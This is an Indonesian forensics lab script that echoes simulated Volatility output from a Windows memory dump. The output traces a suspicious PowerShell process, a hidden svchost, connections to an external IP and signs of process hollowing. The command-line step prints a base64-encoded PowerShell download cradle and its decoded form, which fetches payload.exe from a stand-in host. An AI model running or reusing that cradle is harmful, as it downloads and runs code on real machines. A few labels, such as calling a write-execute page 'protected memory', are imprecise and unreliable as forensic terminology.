Int 1: Volatility Real Case - Menganalisis Memory Dump Nyata

cd ~ && mkdir forensics-int1 && cd forensics-int1

# 1. Identifikasi profile OS
echo "=== vol -f memory.dmp windows.info ==*"
echo "  MajorVersion: 10"
echo "  MinorVersion: 0"
echo "  BuildNumber: 19041"  # Windows 10 20H1
echo ""

# 2. Daftar proses
echo "=== windows.pslist ==*"
echo "PID  PPID  Name             CreateTime"
echo "---  ----  ----             ----------"
echo "4    0     System          2026-06-10 08:00:00"
echo "400  4     smss.exe        2026-06-10 08:00:02"
echo "500  400   csrss.exe       2026-06-10 08:00:05"
echo "600  500   winlogon.exe    2026-06-10 08:00:06"
echo "668  600   services.exe    2026-06-10 08:00:08"
echo "724  668   svchost.exe     2026-06-10 08:00:10"
echo "888  724   spoolsv.exe     2026-06-10 08:00:12"
echo "976  500   userinit.exe    2026-06-10 08:00:15"
echo "1100 976   explorer.exe    2026-06-10 08:00:20"
echo "2200 1100  chrome.exe      2026-06-10 09:00:00"
echo "2300 1100  notepad.exe     2026-06-10 09:05:00"
echo "2400 668   svchost.exe     2026-06-10 08:00:10"
echo "2500 668   powershell.exe  2026-06-10 09:10:00  ← mencurigakan!"
echo "2600 2500  rundll32.exe    2026-06-10 09:10:05  ← dijalankan OLEH powershell!"
echo ""

# 3. PSScan vs PSList (cari hidden process)
echo "=== windows.psscan (hidden processes) ==*"
echo "PID  PPID  Name             CreateTime"
echo "...  ...   ...              ..."
echo "2700 668   svchost.exe      2026-06-10 09:10:02  ← HIDDEN (tidak ada di pslist!)"
echo ""

# 4. Netscan (koneksi jaringan)
echo "=== windows.netscan ==*"
echo "Local Addr      Remote Addr       Proto  State        PID"
echo "192.168.1.10:443 52.84.x.x:443    TCP    ESTABLISHED  2200  (chrome)"
echo "192.168.1.10:4444 203.0.113.5:80  TCP    ESTABLISHED  2500  ← powershell ke IP asing!"
echo "192.168.1.10:4445 203.0.113.5:443 TCP    ESTABLISHED  2600  ← rundll32 ke C2!"
echo ""

# 5. CMDLine analysis
echo "=== windows.cmdline ==*"
echo "PID 2500: powershell -enc SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgnaHR0cDovLzIwMy4wLjExMy41L3BheWxvYWQuZXhlJywnQzpcVXNlcnNcYWRtaW5cRGVza3RvcFxwYXlsb2FkLmV4ZScp"
echo "   ↳ Decoded: IEX (New-Object Net.WebClient).DownloadFile('http://203.0.113.5/payload.exe','C:\\Users\\admin\\Desktop\\payload.exe')"
echo ""
echo "PID 2600: rundll32.exe C:\\Users\\admin\\AppData\\Local\\Temp\\dll.dll,EntryPoint"
echo "   ↳ DLL sideloading - eksekusi DLL dari Temp!"
echo ""

# 6. Dumpfiles - ekstrak binary dari memory
echo "=== windows.dumpfiles --pid 2600 ==*"
echo "Dumping DLL: C:\\Users\\admin\\AppData\\Local\\Temp\\dll.dll"
echo "  File: file.0xabc123.data0.dll"
echo "  SHA256: a1b2c3d4e5f6..."
echo ""

# 7. MalFind - deteksi code injection
echo "=== windows.malfind ==*"
echo "PID 2600 (rundll32.exe):"
echo "  VAD @ 0x7f120000 - 0x7f130000"
echo "  WX (Write+Execute) page → PROTECTED MEMORY!"
echo "  Suspicious: PE header ditemukan di private memory"
echo "  → Indikasi PROCESS HOLLOWING!"